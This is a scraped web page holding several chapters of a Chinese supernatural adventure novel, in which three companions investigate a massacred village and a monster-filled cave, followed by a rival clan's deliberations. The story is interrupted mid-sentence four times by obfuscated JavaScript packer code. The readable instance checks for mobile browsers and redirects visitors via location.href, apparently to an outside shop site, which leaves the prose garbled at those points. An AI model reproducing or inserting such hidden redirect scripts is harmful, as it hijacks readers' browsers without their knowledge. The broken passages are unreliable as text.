九瑶:“所以你,离群索居,是担心自己招来怨灵。你说你有一些事情要去处理,是什么事情呢?”九瑶想起来今天,他问自己是否愿意与他同行的事。 “我弟弟曾经交给我一张地图,他告诉我,我们的家族本不姓沈,我们是从另一个更大的家族里分裂出来的一支,如果我想要控制住身上会引起怨灵动荡的气息,就按照地图上的标识去找这个大家族。” “你今天不要命的去捡包,是因为那张地图在包里吧。”虽然还不算太熟,但靳川此时对沈半人确确实实是有些佩服的。对沈半人而言,那张地图,或许真的比性命重要。 “嗯。”沈半人点头,从包里翻出那个装着地图的小毡布包,还好没丢,现在看来即使离群索居,也还是无法阻挡自己这招揽怨灵体质带来的麻烦。 所以无论如何,他都得尽快找到这个传说中的大家族。 “对了靳川,你说你住这儿附近,那你帮我看看你有没有见过这样的一个通道。”沈半人终于想起来眼前的靳川不正是他想要询问的当地人吗,于是赶紧打开毡布包,翻开羊皮地图给他看那个蓝色五角星标识。 靳川凑过去仔细的看了又看,末了摇了摇头:“倒是从没见过,不过这通道所在的位置,是我们村啊!” 5. 第 4 章 靳川生活的小村庄,不在山脚,而是在山腹东南角的一个“V”型钩谷中。钩谷左侧是坡度平缓的山坡,植被稀疏,不适合大型放牧,右侧连着好几座交错的山脉,中间有岩层断裂形成的深深浅浅的峡谷。由于人口少,位置隐蔽,稍不留意,可能都不会有人发现这里还有个村子。 但就是这样一个常住人口不足百人的小村庄,竟然在一个多月前被屠了村。 整个村子上上下下,男女老少,除了靳川,无一幸免。 “我是二十天前到的黑河山,当时这里就已经被屠村了,村门口的路牌和哈达也被拆掉了,难怪我怎么找都找不到。”沈半人有点唏嘘。 “那天到底发生了什么,你知道多少?”九瑶问靳川。 靳川开始回忆,那天,他像往常一样骑着三轮车到山脚下的镇子里帮村民采买蔬菜,在路上碰到一个外地游客车子爆胎了,他帮忙人家一起换了车胎,所以回去的比平时晚了一点点。 “我刚进村口,就看到马路上横七竖八的躺着很多村民的尸体,地上全都是血。” “我跑进村子里,想看看还有没有幸存的人,结果一个都没有。短短几个小时,一整个村子的人都被屠杀殆尽,没有一个人能逃出来。” “而且,村民们像是被活生生撕碎的,没有一具尸身是完整的。当时警方给到的结论,是说村民可能遭遇了野兽群的袭击,因为怕引起周围村庄的恐慌,所以只发布了野兽群出没的预警公告,派了巡防队流动巡守周边的几个村子,并没有把屠村的事张扬出去。” 显然靳川自己并没有完全接受警方的结论。 沈半人敏锐地捕捉到了这一点,“你那天进村子有看见过野兽出没的痕迹吗?或者以你的推断,你觉得屠村的究竟是什么东西呢?” 靳川默然,过了一会儿,他说:“有一件事,本来我不是很确定,但是经过鼓灵,还有,”靳川抬头看向沈半人,“还有你说的你的家族的事情,我现在越发肯定,我那天遇到的很可能就是屠村的凶手。” 沈半人:“是谁?” “一个怪物。一个长得很像人,但绝对不是人的怪物。” 靳川尽力的描述:“他看上去就是个人的样子,有人的四肢,躯干和头颅。但是,他的身体比常人要坚硬的多。” “怎么说呢,就跟石头一样,”靳川突然想到了个很恰当的形容,“他的身体表层,好像长了一层石头一样的皮肤,脸上也是,所以他的整个外形会比正常人更加高大,健壮。在和他打斗的时候,我曾用劈柴刀砍在他身上,结果他毫发无伤,劈柴刀却裂了。” “你是说他刀枪不入?”沈半人咂舌,这让他想到了武侠小说里的那些神功秘法,什么金刚罩铁布衫,但现实中有没有这样厉害的功夫是要存疑的。 靳川嗯了一下,他哪知道沈半人已经天马行空到联想绿巨人和钢铁侠了,继续回忆:“他的眼睛也很奇怪,瞳孔是青色的,就像青铜器的颜色,而且我感觉他可能是瞎子。” “他从炉灶后面突然跑出来攻击我,力气很大,我根本招架不住,要不是刚好有个人路过,救了我,我肯定也已经被他撕碎了。” “有个人路过?什么人?”九瑶抓住重点。 “这个村子位置这么偏僻,一般游客都找不到这里来,除非是专程为什么而来的,否则纯路过的可能性不大。”沈半人也觉得事情不简单。 “我不知道。”靳川如实说,“他身手比我好,应该是个练家子。我们在跟那个怪物缠斗的时候,我速度没跟上,再然后,也就一转眼的功夫,突然就看不见他们了。”靳川后来几乎翻遍了整个村子,也没见到那路人和怪物的身影,他们就好像凭空消失了一样。 “所以我到现在都没离开,就是想再等等看有没有他的消息。他当时是为了救我才涉险的,如果不能确定他已平安脱身,我恐怕一辈子都很难心安。” “我听你的意思,那个路人和怪物是同时消失的,但你有没有想过,这很不合理。”沈半人斟酌后说道,靳川看向他,“首先,如果那路人被怪物杀了,那么怪物不需要躲起来,它也可以轻轻松松地把你一块儿杀了。如果是那路人把怪物制伏了,那么他就更不需要躲着你了,除非他有什么事情不想,或者说不能让你知道,所以他把怪物带走了。” “会不会,那怪物就是他养的,跑出来屠了村,他跟出来收拾残局。”九瑶提出另一种可能性。 “不,”靳川不相信:“他看上去,不是那样的人。” “我们就是猜测,”沈半人宽慰他,“咱们先把他和那怪物的关系放一边,你说他和怪物凭空消失,我觉得倒也不至于,这个村子虽然小是小了点,但它不是封闭的啊,”沈半人伸手朝一个方向指了指,“那儿有很多山洞和峡谷,随便找一个地方待一下,不刻意去找的话,还真找不到呢!” 他这么一说,靳川恍然大悟,那天情急之下他确实只是找了村子,根本没想过这附近山脉相连峡谷纵横,本是绝佳的隐蔽处,而且那怪物十有八九是从山中来的,很有可能又回到山中去了。 如果是这样的话,那人岂不凶多吉少。 靳川心下渐沉,“你说的有道理,我去那边看看,不知道那怪物还在不在,你们就别跟过来了。” 沈半人不赞同:“万一又碰上那怪物,你打的过吗?” “想去就去吧。”九瑶突然开口。 靳川迟疑,沈半人笑着拍了拍他的肩膀,看着他迷惑不解的样子说道:“走吧,别愣着了,我们九瑶大神都发话了。” …… 靠近村子的这几座山脉,大多是岩石山,岩体破碎,地表风化严重,在大自然几千年风力和雨水的作用下,形成了大大小小数不清的洞洼。有的洞深,做了小动物们的巢穴,有的洞浅,跟个天然小石窟一样,有藏民在里面垒了小石堆,甚至放了石像,做祭祀许愿用。 三个人深一脚浅一脚的,每个洞洼都去检查一番,看有没有线索。沈半人眼尖,率先发现了一处异常,他走过去,蹲下,手指摸上地面的砂岩,这砂岩上有一小块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这洞是真不好走,准确说里面跟个滑滑梯一样,根本控制不住两只脚直往下打滑,有种进来了就别出去的感觉。差不多向下滑了有三四十米,三个人终于在一个狭窄的小弯道上摸到一块凸起的岩石,爬到上面止住了下滑的趋势。此时洞口的光早就透不过来了,四周乌漆麻黑的,沈半人凭记忆从他那大背包里翻出个帽子戴在头上,咔嗒一声,锨亮了头灯,洞里瞬间明亮了起来。 “没想到洞口看着宽敞,里面是这个鬼样子。”沈半人呼呼地喘气,三个人中就属他身体素质最差,下个洞都已经到他体力极限了。 靳川有点过意不去,想想自己刚才确实鲁莽了点,什么准备都没做就贸然的下了洞。 “你们刚才不应该跟进来的,我从小在山里边过活,有些洞也不敢轻易地下,老人们常说,山和水一样,都是会吃人的。”靳川说道,想了下又说:“不然你们就在这里等我,我再往下探探,不管能不能探到,一个小时后我就回头。” 沈半人不理他,又从包里翻出一捆登山绳,“你有力气的话搭把手,把咱仨绑一块,我怕我等会一不小心滑下去真摔死了。” 靳川愣了一下,沈半人已经直接把绳子塞他手上,还不忘提要求:“把我绑中间,前面是你打头阵,后面有九瑶护我不落单,我要万无一失。” 靳川闻言无奈的笑了一下,依照他的要求给三个人都绑上绳索,九瑶也在后面帮忙。洞中明明很冷,但他胸腔内却升起了阵阵暖意。 三个人稍作休整,又重新开始向洞内摸索。在他们身后,从进入山洞开始,有一个身影便一直跟着他们,始终保持着不远不近的距离,刚好隐匿在光束照不到的黑暗之中。 6. 第 5 章 过了狭窄的弯道,坡度开始趋于平缓,只是空间仍然不见宽敞,三个人都需要猫着腰前行。沈半人把头灯给了打前阵的靳川,洞内照明度有限,很难观察到地面是否还有血迹。 三个人本来说好再行一段如果没什么发现就回头,他们下来什么工具也没准备,本就是太过冒险,如果真遇上那怪物,即便九瑶身手了得,自保是没问题,带着他们两个拖油瓶就说不定了。 然而穿行过这一段通道后,前面竟又豁然开朗起来,而且迎面吹来的风都清新了不少,莫非这洞的另一个出口就在前面不远处? 大概就是这样的心态,让三个人不知不觉间推翻了原先的计划,增加了里程,越进越深,直到走进了一个四通八达迷宫般的洞穴里。这个洞穴在山体的哪个方位已经无从知晓,而且四周都是相似的岔道,根本分不清主道是哪个。 也许是每条道都太相似了,连起来看感觉像进了个蜂窝,还是自带旋转视效的,看的人头晕眼花。 “这洞邪门啊!”沈半人说道,比起邪门更可怕的是,他们迷路了,完全分不清自己从哪条道进来,又进到了哪条道里。 还好三个人绑在了一根绳子上,确保不走失。 “我们堆记号吧。”靳川看着地面随处可见的小碎石提议,“堆一个固定的形状,我们一条道一条道的试。” 这方法笨是笨了点,但确实是山里的居民最常用的方法,常用说明它肯定还是有效果的。就是,沈半人看着眼前一个又一个宛如孪生的岔道,这也太多了吧! 讨论完石堆的形状,三个人的视线跟随着靳川的头灯扫过一个又一个的岔道,准备挑一个先开始。沈半人注意到在灯光扫过去的一刹那,其中一个岔道口里,似乎有一张惨白的鬼脸一闪而过。 他只当自己是眼花了,在明暗交错的瞬间看到了幻影,伸手揉了揉眼睛,再睁开,这次是他面前的这个洞:洞里面伸出来一颗乱蓬蓬的头颅,毛发呲张,满脸血污,一只乌漆麻黑的眼珠正冷冰冰的看着他。 “啊!!!……”沈半人吓得立时尖叫起来,身体比脑子快一步作出反应,拔腿就跑,边跑边喊:“靳川,快跑!” 靳川还不知道发生了什么,但听到沈半人如此焦急惊惧的喊声,便卯足了劲向前狂奔。跑了没几步,就被身后一股巨大的力量拽住了腰间的绳子,靳川跟这股力量角逐,突然腰间一松,他心道不好,绳子断掉了,他整个人因为惯性飞出去三四米远。 等他爬起来回过头看身后的情况,头灯的光束也随之聚焦,一瞬间照亮了身后的那个鬼影。 那是一颗头发乱糟糟的头颅。 只有头颅。 准确说那头颅跟地长在了一起,又或者说,是从地里长出来的。杂草一样乱蓬蓬的头发掩盖住了大部分的脸,只余一颗漆黑的不似活人的眼珠,和满是血污的牙齿咬着沈半人的脚踝将他拖进了黑暗的岔道里。 沈半人腰间的绳子还有一端系在九瑶的身上,在他被拖进去的那一刻,九瑶也随之跟了进去。 靳川追到他们消失的岔道口,却发现那岔道口里面是实心的,任凭他怎么敲击,捶打,那堵岩石,纹丝不动。 “沈半人?……九瑶小姐?”他试探地呼喊,声音飘散在空荡荡的甬道中,没有任何回应。 …… 沈半人脚踝处火辣辣的疼,因为被拖拽在狭窄的甬道里,头和四肢不断跟坚硬的岩石碰撞、摩擦,剧烈的晕眩和钻心的刺痛让他翻江蹈海,眼冒金花。 后面九瑶身形敏捷的追着,边从靴子里拔出匕首,那是她防身用的,形状精巧特别,却能削铁如泥,坚固无比。好像从她有意识开始,这把刀就一直带在身上,是她的第一个伙伴,亦是她唯一的一个伙伴。 九瑶手持匕首,听风辨位,然后疾冲两步越过沈半人,跃到那头颅怪前,举起匕首朝着那头颅顶狠狠刺下。 以她的速度、力气,还有这把匕首的锋利程度,这一刺本该万无一失,如果没有人破坏的话。 一颗黑暗中飞来的石头贴着刀锋擦过,那一瞬间石头和刀锋激起了一串火花,流星一样又转瞬陨灭。石头裂成了齑粉散落在空气中,而刀锋亦被改变了走向,堪堪擦着那头颅削下几簇蓬乱的毛发。 虽然只有短短一瞬,但方才激起的火光中九瑶看清了那毛发遮挡下的一张脸。一张破碎皲裂,不似人面,却让她心头一动的脸。 她的心脏仿佛一块密不透风又坚不可摧的石头,然而这石头里面有东西,她第一次感受到了石头里的东西在动,在敲,在凿,在刻,似乎很快就会有一条裂缝形成。 那头颅怪受了惊,松开了沈半人的脚踝,趁着九瑶迟疑间,钻进地下一下子消失不见了。 九瑶心中没由来的升起一股戾气,身形如鬼魅般闪入黑暗中,朝那石头飞来的方向,猛的揪出一个人影,将他摁倒在地,匕首抵在他脖子上。 那人没怎么挣扎,但敌我不明,凶险难料,黑暗中三个人的喘息声交织成一片剑拔弩张的形势。 “嚓”一线火光划破黑暗,是沈半人从背包中翻出了个打火机。原来那个烧鼓的时候殉了,这个是他昨天晚上才买的,到底还是派上用场了。 “把口罩摘下来。”九瑶命令。 那人乖乖照做,摘掉脸上的口罩,露出一张年轻的脸。 一张跟刚才那颗乱蓬蓬的头颅毫无关系的脸。 沈半人觉得这个人有点眼熟,可是翻遍记忆,也没想起来在哪里见过他。应该是没见过,否则不可能想不起来,毕竟他长着一张太出众的脸,再加上周身的那种气场,是会让人过目不忘的才对。 “为什么阻我们杀那头颅怪?”九瑶冷冰冰的问。 “没有啊,我是在外面看到它咬住了你朋友的脚,所以跟过来朝它扔石头想把它砸开的。”那人无辜地解释。 他这么一提醒,沈半人马上想起了脚踝处的剧痛,火光一照,只见脚踝上被牙齿咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478066|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两个很深的洞,鲜血正汩汩向外冒着。 这可怎么办,被那东西咬了要不要打狂吠疫苗啊?……不对,要注射血清吗?可是要怎么跟医生描述呢?咬他的是人是鬼,是怪是兽他都没法确定啊! 沈半人头大如斗,也不知是不是心理作用,他觉得头也昏,眼也花,手也抖,病入膏肓的症状全都有。 “你要不先止血吧。”那人好心提醒。 对对对,沈半人手忙脚乱的到包里翻消毒水、止血药、绷带,代购那人还挺靠谱的,防身的工具一件没备,自救的东西倒是一件没少。 那人见他这“贪生怕死”的样子没忍住笑了一下,九瑶将匕首又压了少许,刀锋擦破皮肤渗出了丝丝缕缕的血线。 “说实话,你到底是什么人,为什么要跟着我们?” “我路过啊,在外面看到你们三个人往这洞里钻,好奇心驱使就跟进来了。你们呢?你们进洞做什么?”那人一点也不畏惧脖子上的刀锋,反倒开始套起他们的话来。 路过?好熟悉的词,沈半人裹好伤口,刚想说你该不会就是靳川的那个救命恩人吧,被九瑶先开了口:“路过的人,会随身携带锁链?” 沈半人这才发现那人的腰间竟还挂着一副铁锁链,看上去是能铐人的那种。 那人不说话了,九瑶取下锁链,打开镣铐,看了那人一眼,就见他乖乖的伸出手,甚至没做任何挣扎,束手就擒。 沈半人小小声:“九瑶,会不会有什么误会,咱们这样是非法拘禁,而且他很可能是靳川的那个救命恩人……” “就算是,他也很可疑。”九瑶不为所动,“为什么他总是和怪物一起出现?那怪物凶狠嗜血,他却总是能全身而退?还有,为什么要偷偷摸摸跟踪我们?怎么想他都有问题!” 这么说的话,好像也有道理。 “什么怪物?刚才咬你们的那颗头颅吗?”那人听着他们的对话突然饶有兴致地问。 “你知道那颗头颅怪是什么东西吗?”沈半人问他。 “难道你不知道吗?”那人反问。 沈半人心头一凛,这头颅怪明显跟靳川描述的不是同一个怪物。就像这洞内洞外的血迹明显不是同一天的,也不是同一个人的。那么这洞里的头颅怪和潜在的遇难者很可能是在自己来了黑河山之后才出现的,该不会又是自己那招灵体质引起的? 沈半人陷入沉思,回过神来发现那人还在打量着他,似乎在等他的答案。 “所以,他是……什么鬼?”沈半人尝试着猜测:“犯了事被砍头了?……人头俑?” 那人看着他,直到确定他是在很认真的猜测,才收回目光,淡淡地说了句:“要不你问它吧。” “问谁……”沈半人话还没说完,突然脚底下的地面剧烈的震动起来,头顶、四周不断有碎石和尘土往下落,他第一反应:地震了!而后,整个地面开始向上凸起、龟裂,像是有什么庞然大物自地底深处悍然而起。 7. 第 6 章 九瑶和沈半人被脚下的地面直接托举起来,而四周仿佛坍塌般不断下陷,陷了有数十米,巨大的烟尘中逐渐显现出一蟒状的庞然巨物,通体莹白,身上负有坚硬如铠甲的巨大鳞片。 那巨物扭动着身体,鳞片搐动,发出刀剑碰撞般冷冰冰的金属声,翻起的气浪扫过人脸,浓烈的血腥味夹杂着土腥气直冲脑门令人作呕。 “这是什么东西啊?”沈半人不可置信,来自炼鬼世家的他从小什么邪门玩意都见过,也知道山精海怪并非只是山海经里的杜撰,它们曾经是确确实实存在的地球物种之一,而且很可能现在也依然存在。 所以,他这次是惹了个大的? “嘘,小声点。”刚才那年轻人出声提醒:“这东西在地里头待得久了,今天刚醒,反应力和行动力还很迟缓,能不招惹它尽量别招惹。” 果然如他说的,那巨物的身躯虽然在岩石缝中游动,但并无攻击的意图,只是它实在太长太大了,根本找不到它的头和尾巴,看不清全貌。 “这该不会就是那头颅怪的身躯吧。”沈半人凑到那人身边,小声问。 “你也不笨嘛。”那人打趣他。 嘿,小爷985211双一流名牌大学毕业的,这辈子跟笨沾不上半点关系!沈半人下意识的就要反驳,想了想还是把力气留给了问问题:“你说它才醒是什么意思?它刚还咬我脚了呢!” “它的身体刚醒,它的头……应该也快醒了吧,它咬你完全是生理需求。平时它用头捕食猎物足够了,用不到身体,所以它的身体闲置了有上千年了吧。” 上千年……沈半人心虚的缩了缩脖子,好吧,他这次确实是惹了个大的。 “我们现在什么也不做,等它自己走吗?”九瑶警惕的看着那巨物问。 “我们杀不死它,除了逃就是躲,缠斗没有意义。”那人回道。 “糟了,靳川在外面!”沈半人突然想起来,“他该不会碰上这怪物吧!” “不会,这东西现在去的方向跟你们进来的方向相反,碰不上的。” 沈半人闻言放心了些,可是他怎么什么都知道?“你究竟是什么人?”他问,不及那人回答,突然底下又是一阵猛烈的颤动,岩石发出“咯啦咯啦”的声响,好像要裂开了。 “小心!”沈半人听到那人的提醒,也心知不妙,可下一秒脚底下就空了,身子一轻像一片鸿毛直坠入万丈深渊。 九瑶腰间的绳索和沈半人是绑在一块的,虽然她已提前预警,奈何身边实在没有固定的东西可供她抓住,只能被绳子带着一起下坠。 他们原本站的高台是因周围地裂挤压形成的,本身岩体就有裂缝,只是被那巨物的身躯包附缠绕着起到了固定的作用,等这巨物一走,岩体自然就开裂坍塌了。下坠的过程,九瑶想攀住岩壁自救,可那岩壁也不知什么材质,触手就滚烫无比,像摸在烙铁上一样,而且越往下,空气便越蒸人,底下热浪滚滚,岩石缝隙间隐隐有火星流动。 沈半人已经闭眼等死了,但下坠趋势却猛然间停止了。他整个人悬在半空中,跟个挂树的猴子似的在崖壁前荡着,在他上面,是九瑶同样悬空的身体。 九瑶抬头,借着底下火星的微光看清楚了目前的状况。自己是被一根铁链拉住的,这是他们没有继续往下坠的原因,铁链的另一端连在一个人的手腕上。 方才她和沈半人站立的地面塌陷了,形成了一个更加狭窄的高台,像个陡峭的小山崖似的,那人恰好留在了崖面上。变故发生的瞬间,他曾试图抓住他们,但没能抓住,情急之下,也不知用了什么方法,把手腕上垂着的链子弄断,用链子断口钩住了九瑶腰间的登山绳,现在全部人的体重都靠他这只手腕在负担。 九瑶看到他手腕上镣铐接触的地方皮肤已经磨得血肉模糊,为了能够拉住他们两个,他整个身体匐在地上,大半个身子已经探出崖外,扒着崖壁的另一只手也因为用力青筋毕露。 她知道以对方目前的状况,肯定没有力气将他们拉上去了。于是果断地身子一个前倾,向面前的石壁撞去,在快要碰到石壁前,将手中匕首猛地插进石壁里。 她这一动,对方手腕更加吃力,丝丝缕缕的血洒落下来,沈半人在下面担心地问:“九瑶,你没事吧,哪里受伤了?” “没事。”九瑶回他,深吸口气双手紧握住刀柄借力将整个上半身向上挪移,每攀上去一小段距离,那人便将链子收回去一点,然后再抽出匕首,向上重新找定位点,底下沈半人跟她有绳子连接着,又死死抱着她的腿,身体也跟着寸寸上移。 九瑶找到了着力点,那人腕间力道渐松,黑暗中听他似松了口气。等到九瑶大半个身体攀上崖面,沈半人的双脚也踩到了实处,两只手撑着石壁,再被九瑶的绳子一拽就上了崖面。直到他们两个人完全上来,那人才完全卸了力道,然后脱力般倚在一块石头上休息。 沈半人上来后就一直咻咻地喘气,这一天的遭遇对他来说,实在是透支生命。目光四处逡巡,旋即落到那人手上,忍不住倒抽了口凉气:“哎呦,怎么伤成这个样子了,刚才洒在我脸上的原来是你的血啊……” 那人没说话,倒是沈半人仿佛提醒了他,他用受伤的手从身上摸索出钥匙,解开了手腕上的镣铐。 原来他一直都有钥匙,刚才在崖面上,他明明可以不救他们的,九瑶心想,虽然这个人看上去满身的谜题,还跟踪他们,但他好像确实对他们没有恶意,甚至两次出手,暴露行踪和受伤,都是为了救他们。 “这位兄弟,我想我们可能对彼此都有误会,”沈半人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我就是这附近村庄的村民,我们村子遭了不明袭击,人都死了。他们两个是我的朋友,原本是陪我回来祭奠的。” 合情合理,再没有什么可疑了。 那年轻人神情松动了些,但似乎还有什么顾虑,一直没有再开口。 一阵熟悉的饭菜香传了进来,沈半人来了大西北一个多月了,好久都没有闻到这么熟悉的香味了,据他粗略估计:有糖醋排骨,芥律虾仁,番茄炒蛋,还有香菇菜心…… 都是他最最爱的江南菜色,光想想口水已经忍不住要流出来了。 他轻咳一声,打破沉寂:“既然都解释清楚了,也到午饭时间了,不如大家坐下来边吃边聊,交个朋友,以后说不定还会有互相帮助的时候……” 8. 第 7 章 自从听说江十七有了成为医生的志向,刑医生就致力于保护这颗跃跃欲动的小火苗。不但在处理各种头疼脑热的内科疾病时会把江十七带在身边,让他做做记录打打下手,更是在治疗跌打损伤等外科病症时不放过任何一个可以培养他的宝贵的临床经验。 毕竟整个“虞山医院”,目前就只有他一个光杆司令。他既是院长,又是医生,既是检查师,又是麻醉师,还时不时的亲自上阵扮演护工和心理慰问师。 别说给他一个热血青年了,就是给他只鹦鹉,他都能培养它用嘴来做手术。 所以下午江宴去处理手腕伤时,刑医生老远看到他仿佛是看到了什么千载难逢的机会,在药房搜罗了一大堆的药品,要不是江十七哭着说自己从来没给人缝过针,至少先来只鸡先给他练练手,江宴怕是得为了江十七的医学课程先捐献一双手。 刑医生只好把这次缝合手术当成是当堂教学,一个步骤一个细节的给他展示,还时不时提问,分享经验和心得,俨然一副严师慈父的作派,生怕声音大点,会浇灭他心中的小火苗。 等到处理好伤口,不管江十七有没有学会,江宴是已经学会了,并且暗暗发誓,以后不是威胁生命的伤病,绝不会再踏入刑医生的诊室。 江十七心里也过意不去,他从小跟江宴一起长大,跟江宴待在一块儿的时间比跟他爸妈还久,江宴只比他大七个月,在他心里就跟他亲哥一样。为了赎罪他花了一下午时间给他宴哥炖了碗蹄花汤——吃啥补啥嘛。 两个人在江宴房间的起居室喝汤,不知怎么就想起了中午在洞里遇到的那几个人,特别是那个叫沈半人的,说是边吃边聊,最后是他负责吃,别人负责聊。 不过江十七也不讨厌他,至少他不做作,不会去掩饰自己的喜好,也不会吝啬对别人的感激和夸赞。和这样的人相处不用时时刻刻提防,简单随性。 只是“这沈家也真是的,姓都改了,户也销了,临了还给我们惹这么大一个麻烦,都把那东西引到家门口来了!”江十七忍不住抱怨,要是没这事的话,他能一直保持对沈半人的好感。 门外传来敲门声,“江宴,你休息了吗?”江离在外面问。 “还没有,请进吧。” 江宴知道他会来,也一直在等他。 江离进门在起居室的沙发上坐下,他们几个兄弟房间格局都差不多,只不过江宴的房间很久都没有使用过了,还保留着小时候的陈设。 江离看他两只手腕都缠了绷带,关心道:“刑医生怎么说?有没有伤到筋骨?” “没事,少打两天球。”江宴不以为意。 江十七把汤碗收了起来,本一万个不愿意给江离倒茶,但看江宴有这个意图,又顾着他不方便,只好不情不愿的代劳。 杯子放在茶几上,因带着点个人情绪,动静不小。江离也不跟他计较,对江宴说道:“今天辛苦你了。没想到沈家遇到这么大的事,还能留下活口,甚至找来了虞山。” 大概一个多月前,虞山地界出现了异常,族里守祠的长辈们别说亲身了,就是族书里也多少年没记录过这么大阵仗的结界波动,于是第一时间召集族老组织了卜卦问因,问出来是地底下来了某上古巨物。至于这巨物因何而来,是有意还是路过,来干什么,不得而知。 族里便派出年轻一辈的守在地界附近,一面暗中观察那巨物动向,一面调查事件起因。如果只是路过,停留一段时间便离开,那便有惊无险皆大欢喜,如果是有人刻意召来的,那不排除要经历一场恶战的准备。 “这沈家跟阴山府结的契,原来只是让他们炼些夭童怨鬼,维持人间的供奉,哪知道他们夜郎自大恶胆包天,背着阴山府酿下一桩桩业障,甚至偷梁换柱私调阴山府阴兵,这才彻底惹恼了阴山府。”江离淡淡地陈述,虽说是同宗,毕竟隔了几百年了,对彼此而言都是不痛不痒的存在。“就是可惜了他们家那个沈疑,八年前见过一次,资质在同辈里算佼佼者了,可惜是个鬼身。” 江宴:“这么说来的这个……是沈疑的孪兄?” “嗯,他们家答应每一甲子向阴山府供一阳身,所以沈疑生下来就死了,魂魄养在哥哥的身体里。”江离喝了口茶,慢条斯理,“这哥哥一个身体养两个魂魄,再加上沈疑强势,灵气多半被他吸走了,所以底子虚空。先天条件不好,他又不肯勤加修习,这才落的今天百无一用的地步。” “当然,可能也是因为他没怎么参与过炼鬼的事,身上没有业障,所以沈家才能留下他。” 看起来他在沈家也没啥存在感,甚至沈家灭门后都没人在意还活了一个他,更想不到他会为了活下去竟然跋山涉水的来找一个断了几百年关系都不一定还存在的旧亲。 现在事情调查清楚了,没有预想的那么坏,当然也没有那么好处理。江离这么晚过来应该不只是来慰问伤事,很可能他们已经有了讨论结果,江宴在等他切入正题。 “我跟忍哥讨论过了,”江离停顿了一下,也在观察江宴的反应,“既然祖上已经分了家,改了姓,也绝了往来,那他们这一脉跟我们便是生死无关了。” 如此看来,江家是决定不会插手这件事了。 江宴觉得也能理解。据说当初,是在整个家族最动荡最需要稳定人心的时候,他们决然的脱离了出去,改名更姓,自立门户,并扬言与江家死生不复相见。 江离继续道:“老五已经去看过了,估计最迟明晚,事情就该结了。附近的几个村子忍哥都安排了人看着,尽量不伤及无辜吧。” “毕竟同宗,”江离无奈摊手,“四叔说咱们既然不插手,就做得彻底点,不救他,也不去撵他。沈家只剩这一根独苗,死活看天意。” 死活看天意?可这分明是眼看着天降大火要落到这个人身上,不给他躲,也不拉他跑,甚至都不愿告知一声。 沈家有错在先,但如此轻飘飘的就将一个家族中某些长辈犯下的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江宴的父母是目前虞山江家的家主,掌管着江家在全国各地的产业,而这些产业近几年一直都是江忍代为打理的,所以江忍自然而然地被看成是家主的继承人。但又有风声透露,江宴才是被族里重点培养的继承人,如今他从外学成归来,就是着手准备接管江家的,一时各种传言纷争四起。 江宴幼时离家,与亲友关系疏浅,不比江忍根基深厚,因此身份境遇都颇为尴尬。 “宴哥,从我们回来到现在一个多月了,过过一天清闲的日子吗?说句不好听的,村外来条狗都要我们去查户口!”江十七还在愤愤不平,“把我们当什么看了,我们是回自己家,又不是来给他看门的!” 江宴被他那气的跳脚的样子逗笑了,突然又想到了白日里遇到的那个稀里糊涂的沈家同宗。 江宴对他谈不上有好感吧,但也不怎么讨厌他,总觉得那个人明明家破人亡朝不保夕谁看了都得说声可怜的境地,可性格却自在洒脱无拘无束,身边也热热闹闹的…… 9. 第 8 章 清晨。 一夜好眠,九瑶推门而出。 “早啊。”沈半人跟她打招呼,他正坐在井边打水洗脸,“睡得还好吗,有没有做梦?” 九瑶摇了摇头。可能是因为记不住事,所以她也从来不做梦。 “最近发生的事情你都记得?”沈半人又问,九瑶走过去,接过沈半人给她打的水,冰凉的井水扑在脸上,神清气爽。 “都记得。” 是的,记得沈半人,记得靳川,记得那头颅怪,还有洞中那个救她的神秘人。短短两天,她已经拥有了这么多的记忆,有了认识的人,有了想做的事情,有了许多真实的情绪。她甚至会去回味发生过的事情,也会去期待未来。 “那,有没有想起一点过去的事?” 有吗?九瑶突然有点不确定,她想到那个头颅怪,那张破碎皲裂的脸,以及那一刻心头突然闪现的熟悉感。可那熟悉感究竟来源于什么呢,她又想不明白。 算了,她笑着摇了摇头:“没有。” “没关系,”沈半人安慰她,“有时候遗忘未必是件坏事,普通人的人生其实挺无趣的,虽然有相聚,但更多的却是离别。” 明明是安慰的话,沈半人却说的十分伤感,九瑶觉得他今天有点反常。 靳川做好了早饭,三个人坐在屋子外面的小木桌旁吃早饭。山间的清晨,薄雾笼罩,清风扑面,无限惬意。 “靳川,你以后有什么打算吗?”沈半人喝着碗里的粥,似是随口一问。 靳川正在给他和九瑶分青稞饼,闻言略作思考,说道:“还没具体想过,我爸妈在我很小的时候就离婚了,我爸一个人带我,也没听他怎么提起过老家的亲戚。不过,如果有机会的话,我还是想去宁波看看的。” 那是父亲的故乡,课本里说,故乡是根,落叶总要归根。所以他想去看看,就当是带父亲魂归故里。 “想去就趁早去吧,现在交通可发达了,坐飞机也就四个多小时,火车的话久一点,可以买个晚间的卧铺,睡一觉就到了。你用手机吗,可以坐大巴到附近的镇子里买部手机,这样订票订酒店方便些……” 